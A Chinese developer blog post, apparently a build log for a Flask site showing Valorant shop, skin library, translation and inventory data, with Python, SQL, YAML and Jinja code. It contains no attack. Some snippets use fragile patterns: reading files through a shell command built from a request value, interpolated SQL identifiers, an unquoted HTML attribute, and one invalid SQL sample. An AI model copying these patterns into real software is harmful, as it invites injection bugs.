虽然读写可能没有什么改善,但是至少不会锁文件,而且也不会爆内存(指读取后不释放变量)

然后写了几个语言的配置文件,分别是英语en、简中zh-CN、繁中zh-TW、日语(机翻)ja-JP,然后写了对应的yml文件放入lang文件夹

在上面我们做了皮肤预览的按钮,但是有些皮肤的等级会带有特殊的说明,例如

  • 黑市 暴徒 等級2:此造型設計會因你是攻擊方或守備方而變化
  • 靈爭鬪魂 幻象 等級2:每次擊殺敵人時,都會播放專屬視覺特效及音效
  • 781-A協定 幻象 等級5:在地化語音可能會因地區而異
  • 2021冠軍賽 暴徒 等級4(在對戰中取得最多擊殺時才會顯示光環)

这种写在武器等级后面的说明型的文字,如果写进按钮里面会非常的长。本来不做多语言的话就可以直接简单粗暴replace这些字符就行了,但是做了多语言就不可以这么做了

还有就是,在valorant-api返回的数据中,每个等级升级的内容都是用类似metadata的字符去说明的(下面是没做多语言之前直接写死的转换表)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
levelup_info = {
"EEquippableSkinLevelItem::VFX": '视觉效果',
"EEquippableSkinLevelItem::Animation": '视觉动画',
"EEquippableSkinLevelItem::Finisher": '终结特效',
"EEquippableSkinLevelItem::Voiceover": "本地化语音",
"EEquippableSkinLevelItem::SoundEffects": "音效",
"EEquippableSkinLevelItem::FishAnimation": "鱼缸动画",
"EEquippableSkinLevelItem::KillBanner": "击杀旗帜",
"EEquippableSkinLevelItem::TopFrag": "击杀光环",
"EEquippableSkinLevelItem::KillCounter": "击杀计数器",
"EEquippableSkinLevelItem::InspectAndKill": "击杀特效",
"EEquippableSkinLevelItem::KillEffect": "击杀特效&音效",
"EEquippableSkinLevelItem::AttackerDefenderSwap": "随阵营变色"
}

多语言下,我直接把他们归到了metadata字典里面去,写在对应语言的yaml文件中(下面为简中,但武器显示仍然为繁中,所以置换表为繁中,而转换表为简中)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
metadata:
level:
# This means what word "level" shoule be like in the language, you can find it in every upgradable skin
# example: https://valorant-api.com/v1/weapons/skinlevels/4c8a49bd-4118-9523-6612-4a924651b4a9
level: 等級
EEquippableSkinLevelItem::VFX: 视觉效果
EEquippableSkinLevelItem::Animation: 视觉动画
EEquippableSkinLevelItem::Finisher: 终结特效
EEquippableSkinLevelItem::SoundEffects: 音效
# For Protocol 781-A Level 5 https://valorant-api.com/v1/weapons/skinlevels/a117218e-4f0e-0cca-7758-7ea30b08ac05
EEquippableSkinLevelItem::Voiceover: 本地化语音
# For Neptune Level 2 https://valorant-api.com/v1/weapons/skinlevels/24e39414-4a8e-e800-1242-08bd94b5e3c4
EEquippableSkinLevelItem::FishAnimation: 鱼缸动画
# For Neptune Level 3 https://valorant-api.com/v1/weapons/skinlevels/7b2826b6-4771-7529-b656-b89b9c1d86b6
EEquippableSkinLevelItem::KillBanner: 击杀旗帜
# For Champions Set Level 4 https://valorant-api.com/v1/weapons/skinlevels/4c8a49bd-4118-9523-6612-4a924651b4a9
EEquippableSkinLevelItem::TopFrag: 击杀光环
# For RGX 11z Pro Set Level 5 https://valorant-api.com/v1/weapons/skinlevels/796cf1d2-4893-fee7-3401-beb277c726c8
EEquippableSkinLevelItem::KillCounter: 击杀计数器
# For Champions Set Level 2 https://valorant-api.com/v1/weapons/skinlevels/f96ed262-4280-2363-2542-38b5620bfbb5
EEquippableSkinLevelItem::InspectAndKill: 击杀特效
# For some skins https://valorant-api.com/v1/weapons/skinlevels/bf4489ad-4739-555c-2511-7cbcc503566c
EEquippableSkinLevelItem::KillEffect: 击杀特效&音效
# For Black.Market Set Level 2 https://valorant-api.com/v1/weapons/skinlevels/65c7df10-4a5e-7eaa-dc45-d0a46f147b18
EEquippableSkinLevelItem::AttackerDefenderSwap: 随阵营变色
description:
# All these sources to replace can be found at the links above
# You need to add ?language=<your lang> to check your language
# Available language: ar-AE / de-DE / en-US / es-ES / es-MX / fr-FR / id-ID / it-IT / ja-JP / ko-KR / pl-PL / pt-BR / ru-RU / th-TH / tr-TR / vi-VN / zh-CN / zh-TW
# For China mainland players, all the names of the guns are using zh-TW, cause this program does not support Valorant from Tencent.
# example: https://valorant-api.com/v1/weapons/skinlevels/a117218e-4f0e-0cca-7758-7ea30b08ac05?language=zh-CN
Voiceover: 在地化語音可能會因地區而異
KillEffect: 每次擊殺敵人時,都會播放專屬視覺特效及音效
AttackerDefenderSwap: 此造型設計會因你是攻擊方或守備方而變化
TopFrag: (在對戰中取得最多擊殺時才會顯示光環)

然后在模板文件的需要修改语言的对应位置,写好变量,就达成目的啦!

Redis存储session

每次部署的时候,因为我们使用的是filesystem作为session的存储对象,所以在PaaS平台里面,部署会清除之前的数据,导致用户需要重新登陆。因为Flask-Session是支持Redis作为存储的,而且我自己也用的比较多,所以我就做了一个可以使用Redis存储的功能

直接让用户把配置写在环境变量里面(README里面有写)

1
2
3
4
5
6
7
8
$ export SESSION_TYPE=filesystem|redis  # If you want to use redis u need to set it as redis, and configure the following items
$ export REDIS_URL=<Your Redis URL>
# If your redis url cannot be parsed
$ export REDIS_HOST=<Your Redis Host>
$ export REDIS_PORT=<Your Redis Port>
$ export REDIS_PASSWORD=<Your Redis Password>
# Optional
$ export REDIS_SSL=True # If your redis does not support this, please DO NOT configure it, or this will make your application timeout.

这样就可以在filesystemredis中进行选择,我用了upstash的免费Redis存储,一个月可以用1W条命令,但是但是,在我测试的过程中我发现,就我们群里的几个人用的情况下,一天都能去到300条命令,多的时候甚至去到了500,这算下来一个月根本不够用啊

于是我投向了Zeabur的Redis存储应用

第三次踩坑:Redis的SSL连接

我在Zeabur里面新建了一个Redis数据库后,就准备把数据库连接改过去了,反正原来的Redis里面没什么数据,尽早更换也不用迁移数据,让群友重新登陆一下就行了,不换还好,一换就出事了,直接timeout了,我以为是Zeabur的服务问题(因为它还在试运营阶段,平常确实有点小问题),就去问老板

我们排除了半个小时也没排出来问题,然后我也不好意思打扰人家,我就说明天再看吧,然后我自己又捣鼓了一会,然后突然想到一个很重要的问题:我让用户设置过SSL,而且我写的是数据库支持再开,否则别开,我就想Zeabur的数据库是不是不支持SSL(Upstash是支持的),然后我就关掉了SSL试了一下,果不其然就是SSL的问题

然后我就跟老板汇报了这个问题,这事也就这么结了

皮肤库功能

这个还是@Vanilluv跟我提出的(口头上),那既然有要求咱就做嘛

我最开始是用缓存的json文件来做的皮肤库,做了大概两天,反正做的UI跟手机的卡片那样(因为如果还是表格的话会很奇怪)

先注册两个新的路径

1
2
3
4
5
6
7
@ app.route('/library', methods=["GET"])
def library(page: int = 1):
pass

@ app.route('/library/page/<page>', methods=["GET"])
def lib_handler(page: int = 1):
return library(int(page))

这样可以直接用上上面的那个library函数,避免重复造轮子

就做了大概一个下午就做完了,然后就发现了很多问题

对你没看错,这里面个人喜爱随机选择默认(右下角那个叉叉)都没有被过滤掉,而且最恶心的是这个随机选择每个武器对应一个对象,也就是说有多少个武器就有多少个随机选择,我直接头大~

然后我就随手修了一下,但是只是去掉了随机选择,默认皮肤没去掉(后面会说怎么解决的,这是个坑),我用了过滤器但是就是没去掉,让我很难受

这里的uuid是皮肤的UUID不是武器的UUID,如果你看了上面获取商店那一节的话,你就会知道武器的UUID跟默认皮肤(等级1)的UUID不是一个

结果在我晚上遛狗的时候,我想到了新的解决方法

利用Sqlite数据库作为缓存

我是脑袋里面突然蹦出数据库这个东西的,本来我是不怎么用数据库的(因为没怎么碰过数据库语法),但是想到后面还要做搜索功能,还是弄个数据库吧

于是我现在Navicat里面模拟建立数据库,按照如下结构建立

  • UUID (TEXT, Unique)
  • name (TEXT)
  • name-zh-CN (TEXT)
  • name-zh-TW (TEXT)
  • name-ja-JP (TEXT)
  • data (TEXT)
  • data-zh-CN (TEXT)
  • data-zh-TW (TEXT)
  • data-ja-JP (TEXT)

分别解释一下,UUID我设定的是武器的UUID,name是武器的名字,对应四种语言;data是皮肤数据,也是对应四种语言

然后更改了一下缓存更新的机制,改成用数据库进行存储

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
import sqlite3
import requests
import json
import os
import time

sc_link = 'https://valorant-api.com/v1/weapons/skins?language=zh-CN'
tc_link = 'https://valorant-api.com/v1/weapons/skins?language=zh-TW'
jp_link = 'https://valorant-api.com/v1/weapons/skins?language=ja-JP'
en_link = 'https://valorant-api.com/v1/weapons/skins'

sc_levels_link = 'https://valorant-api.com/v1/weapons/skinlevels?language=zh-CN'
tc_levels_link = 'https://valorant-api.com/v1/weapons/skinlevels?language=zh-TW'
jp_levels_link = 'https://valorant-api.com/v1/weapons/skinlevels?language=ja-JP'
en_levels_link = 'https://valorant-api.com/v1/weapons/skinlevels'

Linkmap = [
('en', en_link),
('zh-CN', sc_link),
('zh-TW', tc_link),
('ja-JP', jp_link),
]

LinkLevelsmap = [
('en', en_levels_link),
('zh-CN', sc_levels_link),
('zh-TW', tc_levels_link),
('ja-JP', jp_levels_link),
]

def UpdateCache():
if not os.path.exists('assets/db/data.db'):
with open('assets/db/data.db', 'wb') as f:
f.close()
conn = sqlite3.connect('assets/db/data.db')
c = conn.cursor()
c.execute('CREATE TABLE skins (uuid TEXT PRIMARY KEY, name TEXT, "name-zh-CN" TEXT, "name-zh-TW" TEXT, "name-ja-JP" TEXT, data TEXT, "data-zh-CN" TEXT, "data-zh-TW" TEXT, "data-ja-JP" TEXT)')
c.execute('CREATE TABLE skinlevels (uuid TEXT PRIMARY KEY, name TEXT, "name-zh-CN" TEXT, "name-zh-TW" TEXT, "name-ja-JP" TEXT, data TEXT, "data-zh-CN" TEXT, "data-zh-TW" TEXT, "data-ja-JP" TEXT)')
conn.commit()
conn.close()



for lang, link in Linkmap:
print('Updating Skins Data of ' + lang)
conn = sqlite3.connect('assets/db/data.db')

# with open('data.json', encoding='utf8') as f:
# data = json.loads(f.read())
data = requests.get(link).json()

c = conn.cursor()
if lang == 'en':
for i in data['data']:
try:
c.execute(f'INSERT INTO skins ([uuid], name, data) VALUES (?, ?, ?)', (
i["uuid"], i["displayName"], json.dumps(i)))
conn.commit()
except sqlite3.IntegrityError:
c.execute(f'UPDATE skins SET name = ?, data = ? WHERE uuid = ?',
(i["displayName"], json.dumps(i), i["uuid"]))
conn.commit()
else:
for i in data['data']:
c.execute(f'UPDATE skins SET "name-{lang}" = ?, "data-{lang}" = ? WHERE uuid = ?',
(i["displayName"], json.dumps(i), i["uuid"]))
conn.commit()

# Delete Useless Data
# For example: Random Favorite Skin
fliter = ['Random Favorite Skin',
"Standard Classic", "Standard Shorty", "Standard Frenzy", "Standard Ghost", "Standard Sheriff",
"Standard Stinger", "Standard Spectre",
"Standard Bucky", "Standard Judge",
"Standard Bulldog", "Standard Guardian", "Standard Phantom", "Standard Vandal",
"Standard Marshal", "Standard Operator",
"Standard Ares", "Standard Odin",
"Melee"]
conn = sqlite3.connect('assets/db/data.db')
c = conn.cursor()
for ignore in fliter:
c.execute('DELETE FROM skins WHERE name = ?', (ignore,))
conn.commit()
c.close()

for lang, link in LinkLevelsmap:
print('Updating Skin Levels Data of ' + lang)
conn = sqlite3.connect('assets/db/data.db')

# with open('data.json', encoding='utf8') as f:
# data = json.loads(f.read())
data = requests.get(link).json()

c = conn.cursor()
if lang == 'en':
for i in data['data']:
try:
c.execute(f'INSERT INTO skinlevels ([uuid], name, data) VALUES (?, ?, ?)', (
i["uuid"], i["displayName"], json.dumps(i)))
conn.commit()
except sqlite3.IntegrityError:
c.execute(f'UPDATE skinlevels SET name = ?, data = ? WHERE uuid = ?',
(i["displayName"], json.dumps(i), i["uuid"]))
conn.commit()
else:
for i in data['data']:
c.execute(f'UPDATE skinlevels SET "name-{lang}" = ?, "data-{lang}" = ? WHERE uuid = ?',
(i["displayName"], json.dumps(i), i["uuid"]))
conn.commit()
c.close()

def UpdateCacheTimer():
while True:
UpdateCache()
time.sleep(3600)

if __name__ == '__main__':
UpdateCache()

在这里面,你会发现我多了一节用来清理无用数据(即上面提到的随机最爱和默认)的地方,之前我是用UUID,但是UUID实在是很难弄(你不知道对不对),所以我用武器的英文名作为判断

一开始我没有加入Standard这个单词在里面的,当时没想到会有这个,结果发现还是没有被去掉,然后看了下后台的数据才发现是有标准这个字段的

然后我才把Standard给加进去,才可以正常处理这些默认皮肤

皮肤库搜索功能

说白了就是用sqlite3的搜索功能,这也是我最后选择数据库的原因,如果要手解json的话很麻烦,而且程序运行很耗时间,所以直接用数据库语句就行了

1
SELECT uuid, name, data FROM skins WHERE name = %?%

百分号的作用就是通配符,虽然大部分的皮肤名字都是在尾巴,但是也不排除在前面(例如国服翻译的暴徒.exe,国际服台版写的是.exe 暴徒

在html中新建一个搜索框(按钮里面当然少不了瓦的标标)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<section>
<div class="container py-4">
<div class="row">
<div class="col-lg-7 mx-auto d-flex justify-content-center flex-column">
<form role="form" name="search" method="post" autocomplete="off" action="/library">
<div class="row">
<label>{{lang.library.form.search.title}}</label>
<div class="input-group">
{% if not query %}
<input type="text" class="form-control" placeholder="{{lang.library.form.search.placeholder}}"
name="query">
{% else %}
<input type="text" class="form-control" placeholder="{{lang.library.form.search.placeholder}}" value={{query}}
name="query">
{% endif %}
</div>
</div>
<br>
<div class="row">
<div class="col-md-12">
<button type="submit" class="btn bg-gradient-dark w-100"><img
src="/assets/img/img-navi-valorant-white.svg">{{lang.library.button.search}}</button>
</div>
</div>
</div>
</form>
</div>
</div>
</div>

也是用表单的方式,把搜索的内容提交到后端进行处理,后端进行字符串的拼接

1
2
3
4
query = '%' + request.form.get('query') + '%'# 加入通配符
c.execute(f'SELECT uuid, "name-{dictlang}", "data-zh-TW" FROM skins WHERE "name-zh-CN" LIKE ? OR "name-zh-TW" LIKE ?', (query, query))# 简中繁中一起搜索
conn.commit()# 提交语句运行
skins = c.fetchall()# 获取结果

因为武器内容的解析,搜索出来的结果因为语言的问题(简中繁中)所以不能用之前的Weaponlib类,我就直接把我那边的代码复制过来小改了一下,就丢进去用了

把武器进行解析,然后返回给render_template进行渲染就行了

附:数据库样本 -> VSC/data.db at dev · GamerNoTitle/VSC · GitHub

皮肤库根据武器进行搜索

这个就是加一大排按钮,然后点一下切换武器种类,不过做这个也挺麻烦的,因为近战武器它没有一个统一的称呼(例如个人近战单位 太极扇之类的),所以不能通过名称作为索引去做这个近战的分类

然后我发现了一个地方可以判断是否为近战,首先,下面是太极扇的数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
{
"uuid": "2e4300f9-49b3-6bbe-af7c-94a6f56ff12e",
"displayName": "澄湖潋滟",
"themeUuid": "1468b29a-4a04-a34d-5b90-5da163f74e00",
"contentTierUuid": "e046854e-406c-37f4-6607-19a9ba8426fc",
"displayIcon": "https://media.valorant-api.com/weaponskins/2e4300f9-49b3-6bbe-af7c-94a6f56ff12e/displayicon.png",
"wallpaper": null,
"assetPath": "ShooterGame/Content/Equippables/Melee/Koi/Melee_Koi_PrimaryAsset",
"chromas": [
{
"uuid": "2733ffb9-4285-f7cf-e01e-dbb9314f3a96",
"displayName": "澄湖潋滟",
"displayIcon": null,
"fullRender": "https://media.valorant-api.com/weaponskinchromas/2733ffb9-4285-f7cf-e01e-dbb9314f3a96/fullrender.png",
"swatch": "https://media.valorant-api.com/weaponskinchromas/2733ffb9-4285-f7cf-e01e-dbb9314f3a96/swatch.png",
"streamedVideo": null,
"assetPath": "ShooterGame/Content/Equippables/Melee/Koi/Chromas/Standard/Melee_Koi_Standard_PrimaryAsset"
},
{
"uuid": "f6eb564b-4b08-ad4c-6704-42bf4e91453e",
"displayName": "澄湖潋滟 等级2\n(炫彩1 暗色)",
"displayIcon": null,
"fullRender": "https://media.valorant-api.com/weaponskinchromas/f6eb564b-4b08-ad4c-6704-42bf4e91453e/fullrender.png",
"swatch": "https://media.valorant-api.com/weaponskinchromas/f6eb564b-4b08-ad4c-6704-42bf4e91453e/swatch.png",
"streamedVideo": "https://valorant.dyn.riotcdn.net/x/videos/release-06.08/8a360856-412c-d772-c116-ca92aed3d809_default_universal.mp4",
"assetPath": "ShooterGame/Content/Equippables/Melee/Koi/Chromas/v1/Melee_Koi_v1_PrimaryAsset"
}
],
"levels": [
{
"uuid": "ef67d6cb-4f7f-28ce-2973-cf90a97ae54d",
"displayName": "澄湖潋滟",
"levelItem": null,
"displayIcon": "https://media.valorant-api.com/weaponskinlevels/ef67d6cb-4f7f-28ce-2973-cf90a97ae54d/displayicon.png",
"streamedVideo": "https://valorant.dyn.riotcdn.net/x/videos/release-06.08/7d2d392a-4b3f-7cea-3573-ffaf12b25589_default_universal.mp4",
"assetPath": "ShooterGame/Content/Equippables/Melee/Koi/Levels/Melee_Koi_Lv1_PrimaryAsset"
},
{
"uuid": "99a21016-41bf-2dfe-43e6-6f9ffe50d8c0",
"displayName": "澄湖潋滟 等级2",
"levelItem": "EEquippableSkinLevelItem::Animation",
"displayIcon": null,
"streamedVideo": "https://valorant.dyn.riotcdn.net/x/videos/release-06.08/229677bc-44b5-4896-131e-8097518dd336_default_universal.mp4",
"assetPath": "ShooterGame/Content/Equippables/Melee/Koi/Levels/Melee_Koi_Lv2_PrimaryAsset"
}
]
},

你会发现在assetPath里面有很明显的Melee字样,为了准确,我这里把ShooterGame/Content/Equippables/Melee/作为判断条件,如果含有这个字段则认为是近战武器,实际证明也是可行的

我们在更新缓存那一节新增一段代码,写入我们的近战武器数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
c.execute('CREATE TABLE melee (uuid TEXT PRIMARY KEY, name TEXT, "name-zh-CN" TEXT, "name-zh-TW" TEXT, "name-ja-JP" TEXT, data TEXT, "data-zh-CN" TEXT, "data-zh-TW" TEXT, "data-ja-JP" TEXT)')# 建表
if 'ShooterGame/Content/Equippables/Melee/' in json.dumps(i):
try:
c.execute(f'INSERT INTO melee ([uuid], name, data) VALUES (?, ?, ?)', (
i["uuid"], i["displayName"], json.dumps(i)))
conn.commit()
except sqlite3.IntegrityError:
c.execute(f'UPDATE melee SET name = ?, data = ? WHERE uuid = ?',
(i["displayName"], json.dumps(i), i["uuid"]))
conn.commit()
except sqlite3.OperationalError:
c.execute(
'CREATE TABLE melee (uuid TEXT PRIMARY KEY, name TEXT, "name-zh-CN" TEXT, "name-zh-TW" TEXT, "name-ja-JP" TEXT, data TEXT, "data-zh-CN" TEXT, "data-zh-TW" TEXT, "data-ja-JP" TEXT)')
c.execute(f'INSERT INTO melee ([uuid], name, data) VALUES (?, ?, ?)', (
i["uuid"], i["displayName"], json.dumps(i)))
conn.commit()

这样,我们把所有的数据存入melee表中,然后直接获取melee表中所有的数据就是我们的近战武器了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
if request.args.get('query') not in ['近战武器', '近戰武器', 'Melee', '近接武器']:
# 非近战武器,正常查询
if lang == 'en':
# Get all skins' uuid & name
c.execute(
'SELECT uuid, name, data FROM skins WHERE name LIKE ?', (query,))
elif lang == 'zh-CN' or lang == 'zh-TW':
c.execute(
f'SELECT uuid, "name-{dictlang}", "data-zh-TW" FROM skins WHERE "name-zh-CN" LIKE ? OR "name-zh-TW" LIKE ?', (query, query))
else:
c.execute(
f'SELECT uuid, "name-{dictlang}", "data-{dictlang}" FROM skins WHERE "name-{lang}" like ?', (query,))
conn.commit()
else:
# 近战武器,直接获取melee表
if lang == 'en':
# Get all skins' uuid & name
c.execute(
'SELECT uuid, name, data FROM melee')
elif lang == 'zh-CN' or lang == 'zh-TW':
c.execute(
f'SELECT uuid, "name-{dictlang}", "data-zh-TW" FROM melee')
else:
c.execute(
f'SELECT uuid, "name-{dictlang}", "data-{dictlang}" FROM melee')
conn.commit()
skins = c.fetchall()

第四次踩坑:翻译问题

做完了分类以后,我逐个去尝试,发现一个问题

没错,捍卫者这一分类下出现了一把R8,然后我去找是什么情况,结果一查才知道这把R8的翻译叫做戍卫者

那没办法了,捍卫者这把枪的索引就只能换成繁中了(因为不冲突),想看看是啥情况的可以自己把query后面的参数改成戍卫去试试

翻译对照表

做这个功能的原因是我现在游戏内用的英语,然后如果刚进游戏没看到是什么地图,而是在选英雄的时候看地图的时候,就会不知道是什么地图,所以加了这个功能

因为加了地图的对照表,所以干脆就把所有的东西都加进去,用不同的端点区分

现在更新缓存那里把其他的内容也加入数据库

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
LinkAgentsmap = [
('en', 'https://valorant-api.com/v1/agents'),
('zh-CN', 'https://valorant-api.com/v1/agents?language=zh-CN'),
('zh-TW', 'https://valorant-api.com/v1/agents?language=zh-TW'),
('ja-JP', 'https://valorant-api.com/v1/agents?language=ja-JP'),
]

LinkMapsmap = [
('en', 'https://valorant-api.com/v1/maps'),
('zh-CN', 'https://valorant-api.com/v1/maps?language=zh-CN'),
('zh-TW', 'https://valorant-api.com/v1/maps?language=zh-TW'),
('ja-JP', 'https://valorant-api.com/v1/maps?language=ja-JP'),
]

LinkWeaponsmap = [
('en', 'https://valorant-api.com/v1/weapons'),
('zh-CN', 'https://valorant-api.com/v1/weapons?language=zh-CN'),
('zh-TW', 'https://valorant-api.com/v1/weapons?language=zh-TW'),
('ja-JP', 'https://valorant-api.com/v1/weapons?language=ja-JP'),
]

c.execute(
'CREATE TABLE agents (uuid TEXT PRIMARY KEY, name TEXT, "name-zh-CN" TEXT, "name-zh-TW" TEXT, "name-ja-JP" TEXT)')
c.execute(
'CREATE TABLE weapons (uuid TEXT PRIMARY KEY, name TEXT, "name-zh-CN" TEXT, "name-zh-TW" TEXT, "name-ja-JP" TEXT)')
c.execute(
'CREATE TABLE maps (uuid TEXT PRIMARY KEY, name TEXT, "name-zh-CN" TEXT, "name-zh-TW" TEXT, "name-ja-JP" TEXT)')

for lang, link in LinkAgentsmap:
print('Updating Agents Data of ' + lang)
conn = sqlite3.connect('db/data.db')
data = requests.get(link).json()

c = conn.cursor()
if lang == 'en':
for i in data['data']:
if i['isPlayableCharacter']: # There's an unplayable SOVA in data
try:
c.execute(f'INSERT INTO agents ([uuid], name) VALUES (?, ?)', (
i["uuid"], i["displayName"]))
conn.commit()
except sqlite3.IntegrityError:
c.execute(f'UPDATE agents SET name = ? WHERE uuid = ?',
(i["displayName"], i["uuid"]))
conn.commit()
else:
if i['isPlayableCharacter']:
for i in data['data']:
c.execute(f'UPDATE agents SET "name-{lang}" = ? WHERE uuid = ?',
(i["displayName"], i["uuid"]))
conn.commit()
c.close()

for lang, link in LinkMapsmap:
print('Updating Maps Data of ' + lang)
conn = sqlite3.connect('db/data.db')
data = requests.get(link).json()

c = conn.cursor()
if lang == 'en':
for i in data['data']:
try:
c.execute(f'INSERT INTO maps ([uuid], name) VALUES (?, ?)', (
i["uuid"], i["displayName"]))
conn.commit()
except sqlite3.IntegrityError:
c.execute(f'UPDATE maps SET name = ? WHERE uuid = ?',
(i["displayName"], i["uuid"]))
conn.commit()
else:
for i in data['data']:
c.execute(f'UPDATE maps SET "name-{lang}" = ? WHERE uuid = ?',
(i["displayName"], i["uuid"]))
conn.commit()
c.close()

for lang, link in LinkWeaponsmap:
print('Updating Weapons Data of ' + lang)
conn = sqlite3.connect('db/data.db')
data = requests.get(link).json()

c = conn.cursor()
if lang == 'en':
for i in data['data']:
try:
c.execute(f'INSERT INTO weapons ([uuid], name) VALUES (?, ?)', (
i["uuid"], i["displayName"]))
conn.commit()
except sqlite3.IntegrityError:
c.execute(f'UPDATE weapons SET name = ? WHERE uuid = ?',
(i["displayName"], i["uuid"]))
conn.commit()
else:
for i in data['data']:
c.execute(f'UPDATE weapons SET "name-{lang}" = ? WHERE uuid = ?',
(i["displayName"], i["uuid"]))
conn.commit()
c.close()

说白了就是照葫芦画瓢,因为之前做过了

在主程序里面加入数据库查询的功能就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
@app.route('/trans')
def transDefault():
return redirect('/trans/maps')


@app.route('/trans/<t>')
def trans(t):
if request.args.get('lang'):
if request.args.get('lang') in app.config['BABEL_LANGUAGES']:
lang = request.args.get('lang')
else:
lang = str(request.accept_languages.best_match(
app.config['BABEL_LANGUAGES']))
elif request.accept_languages.best_match(app.config['BABEL_LANGUAGES']):
lang = str(request.accept_languages.best_match(
app.config['BABEL_LANGUAGES']))
else:
lang = 'en'
if t in ['agents', 'maps', 'weapons', 'skins']:
conn = sqlite3.connect('db/data.db')
datalist = []
if t == 'skins':
c = conn.cursor()
c.execute(
'SELECT name, "name-zh-CN", "name-zh-TW", "name-ja-JP", isMelee FROM {}'.format(t))
conn.commit()
data = c.fetchall()
c.execute(
'SELECT name, "name-zh-CN", "name-zh-TW", "name-ja-JP" FROM weapons')
conn.commit()
weapons = c.fetchall()
else:
c = conn.cursor()
c.execute(
'SELECT name, "name-zh-CN", "name-zh-TW", "name-ja-JP" FROM {}'.format(t))
conn.commit()
data = c.fetchall()
for i in data:
if t == 'skins':
en_name, zhCN_name, zhTW_name, jaJP_name, isMelee = i
if isMelee:
continue
for en, zhCN, zhTW, jaJP in weapons:
en_name = en_name.replace(en, '').strip()
zhCN_name = zhCN_name.replace(zhCN, '').strip()
zhTW_name = zhTW_name.replace(zhTW, '').strip()
jaJP_name = jaJP_name.replace(jaJP, '').strip()
if {"en": en_name, "zhCN": zhCN_name, "zhTW": zhTW_name, "jaJP": jaJP_name} not in datalist:
datalist.append(
{"en": en_name, "zhCN": zhCN_name, "zhTW": zhTW_name, "jaJP": jaJP_name})
else:
if {"en": i[0], "zhCN": i[1], "zhTW": i[2], "jaJP": i[3]} not in datalist:
datalist.append({"en": i[0], "zhCN": i[1],
"zhTW": i[2], "jaJP": i[3]})
return render_template('trans.html', data=list(datalist), lang=yaml.load(os.popen(
f'cat lang/{lang}.yml').read(), Loader=yaml.FullLoader))
else:
abort(404)

手动切换网站语言

这个还是@Vanilluv提出的,我就加了个lang参数用来切换语言

如果是网站支持的语言中的一种,就显示指定的语言;如果非支持的语言,默认显示浏览器语言;如果浏览器没有合适的语言(例如用curl访问)就会显示英语

按照这个逻辑,写了一个判断

1
2
3
4
5
6
7
8
9
10
11
12
13
if request.args.get('lang'):
if request.args.get('lang') in app.config['BABEL_LANGUAGES']:
lang = request.args.get('lang')
elif request.accept_languages.best_match(app.config['BABEL_LANGUAGES']):
lang = str(request.accept_languages.best_match(
app.config['BABEL_LANGUAGES']))
else:
lang = 'en'
elif request.accept_languages.best_match(app.config['BABEL_LANGUAGES']):
lang = str(request.accept_languages.best_match(
app.config['BABEL_LANGUAGES']))
else:
lang = 'en'

然后使用语言文件的时候就直接调用{lang}.yml就可以了

库存查看功能

这个功能是有人在小黑盒里面问到说“是否支持查看库存”(@Vanilluv发每日商店的时候有人问的),然后本来就想做这个功能,所以就花了三天的时间做了

获取库存很简单,在参考文档里面就有这节内容

获取玩家已拥有的物品/store/v1/entitlements/{userId}/{itemType}

所以获取是很好弄的,获取到的内容我也看了一下,是所有已经购买的武器的等级(需要找skinlevels表)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
"ItemTypeID": "e7c63390-eda7-46e0-bb7a-a6abdacd2433",
"Entitlements": [
{
"TypeID": "4e60e748-bce6-4faa-9327-ebbe6089d5fe",
"ItemID": "12831559-44ee-c708-b97c-29a43938e3cd"
},
... (此处省略)
{
"TypeID": "4e60e748-bce6-4faa-9327-ebbe6089d5fe",
"ItemID": "eaf52d49-4608-45d9-5f18-c8b12614e01f"
}
]
}

ItemID就是skinlevels表里面的uuid,所以直接跟着UUID找就行了

而炫彩就没那么简单了,炫彩虽然也是uuid,但是我们没有构造炫彩的数据库表(下面是个例子)

1
2
3
4
5
6
7
8
9
10
11
12
13
{
"ItemTypeID": "3ad1b2b2-acdb-4524-852f-954a76ddae0a",
"Entitlements": [
{
"TypeID": "4e60e748-bce6-4faa-9327-ebbe6089d5fe",
"ItemID": "2d0c7deb-4f5a-40ea-8fe8-288e060d02c6"
},
{
"TypeID": "4e60e748-bce6-4faa-9327-ebbe6089d5fe",
"ItemID": "7a68a469-4c7b-1c17-372d-2dbcd50fc114"
}
]
}

然后我是先把有的做了出来,就只要是获取到皮肤的UUID,发现是等级1的,就判断有这把枪,然后把这把枪的数据加入weapon_list中给网页进行渲染,就达到了查看库存的效果

显示已购买的等级

为什么我上面说花了三天,因为在想怎么给用户提示说这个等级已经用RP购买过了,上面我们不是说到过获取库存的时候是获取的所有皮肤等级嘛,我就把玩家拥有的皮肤等级的UUID给弄到一个列表,然后获取皮肤信息的时候,如果这个等级的UUID在我的列表里面,就给个FLAG叫udpated,设定为True,渲染的时候就只需要检查是否存在updated这个FLAG就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
class player:
